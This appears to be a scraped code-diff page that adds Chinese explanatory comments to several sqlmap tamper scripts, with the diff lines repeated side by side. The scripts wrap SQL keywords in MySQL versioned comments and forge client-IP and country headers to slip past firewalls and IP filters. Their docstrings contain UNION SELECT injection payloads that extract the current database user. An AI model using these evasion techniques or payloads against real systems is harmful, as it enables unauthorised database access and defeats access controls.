# 将retVal中的单词替换为大写形式
retVal = retVal.replace(word, word.upper()) retVal = retVal.replace(word, word.upper())
# 返回retVal
return retVal return retVal

@ -28,6 +28,9 @@ def tamper(payload, **kwargs):
>> X-remote-IP: * or %00 or %0A >> X-remote-IP: * or %00 or %0A
""" """
# 获取kwargs字典中的headers键对应的值如果不存在则返回空字典
headers = kwargs.get("headers", {}) headers = kwargs.get("headers", {})
# 在headers字典中添加X-originating-IP键值为127.0.0.1
headers["X-originating-IP"] = "127.0.0.1" headers["X-originating-IP"] = "127.0.0.1"
# 返回payload
return payload return payload

@ -36,17 +36,26 @@ def tamper(payload, **kwargs):
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
""" """
# 定义一个函数,用于处理匹配到的单词
def process(match): def process(match):
# 获取匹配到的单词
word = match.group('word') word = match.group('word')
# 如果单词的大写形式在关键词列表中
if word.upper() in kb.keywords: if word.upper() in kb.keywords:
# 将匹配到的单词替换为/*!单词*/
return match.group().replace(word, "/*!%s*/" % word) return match.group().replace(word, "/*!%s*/" % word)
else: else:
# 否则,返回匹配到的单词
return match.group() return match.group()
# 将payload赋值给retVal
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
# 使用正则表达式匹配单词并调用process函数进行处理
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal)
# 将" /*!"替换为"/*!",将"*/ "替换为"*/"
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
return retVal return retVal

@ -37,17 +37,27 @@ def tamper(payload, **kwargs):
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
""" """
# 定义一个函数,用于处理匹配到的单词
def process(match): def process(match):
# 获取匹配到的单词
word = match.group('word') word = match.group('word')
# 如果单词的大写形式在关键词列表中,并且不在忽略空格影响的关键词列表中
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
# 将匹配到的单词替换为/*!单词*/
return match.group().replace(word, "/*!%s*/" % word) return match.group().replace(word, "/*!%s*/" % word)
else: else:
# 否则,返回匹配到的单词
return match.group() return match.group()
# 将payload赋值给retVal
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
# 使用正则表达式匹配单词并调用process函数进行处理
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
# 将" /*!"替换为"/*!",将"*/ "替换为"*/"
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
# 返回retVal
return retVal return retVal

@ -16,11 +16,16 @@ def dependencies():
pass pass
def randomIP(): def randomIP():
"""
生成一个随机的IP地址
"""
octets = [] octets = []
# 生成一个随机的IP地址排除10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16这三个私有IP地址段
while not octets or octets[0] in (10, 172, 192): while not octets or octets[0] in (10, 172, 192):
octets = random.sample(xrange(1, 255), 4) octets = random.sample(xrange(1, 255), 4)
# 将生成的IP地址段连接成一个字符串
return '.'.join(str(_) for _ in octets) return '.'.join(str(_) for _ in octets)
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -28,7 +33,9 @@ def tamper(payload, **kwargs):
Append a fake HTTP header 'X-Forwarded-For' (and alike) Append a fake HTTP header 'X-Forwarded-For' (and alike)
""" """
# 获取传入的headers参数如果没有则创建一个空字典
headers = kwargs.get("headers", {}) headers = kwargs.get("headers", {})
# 生成一个随机的IP地址并将其添加到headers中
headers["X-Forwarded-For"] = randomIP() headers["X-Forwarded-For"] = randomIP()
headers["X-Client-Ip"] = randomIP() headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP() headers["X-Real-Ip"] = randomIP()
@ -36,9 +43,12 @@ def tamper(payload, **kwargs):
headers["True-Client-IP"] = randomIP() headers["True-Client-IP"] = randomIP()
# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
# 添加一个Via头表示通过Chrome Compression Proxy代理
headers["Via"] = "1.1 Chrome-Compression-Proxy" headers["Via"] = "1.1 Chrome-Compression-Proxy"
# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
# 添加一个CF-IPCountry头表示通过Cloudflare代理并随机选择一个国家
headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0] headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]
# 返回添加了headers的payload
return payload return payload

Loading…
Cancel
Save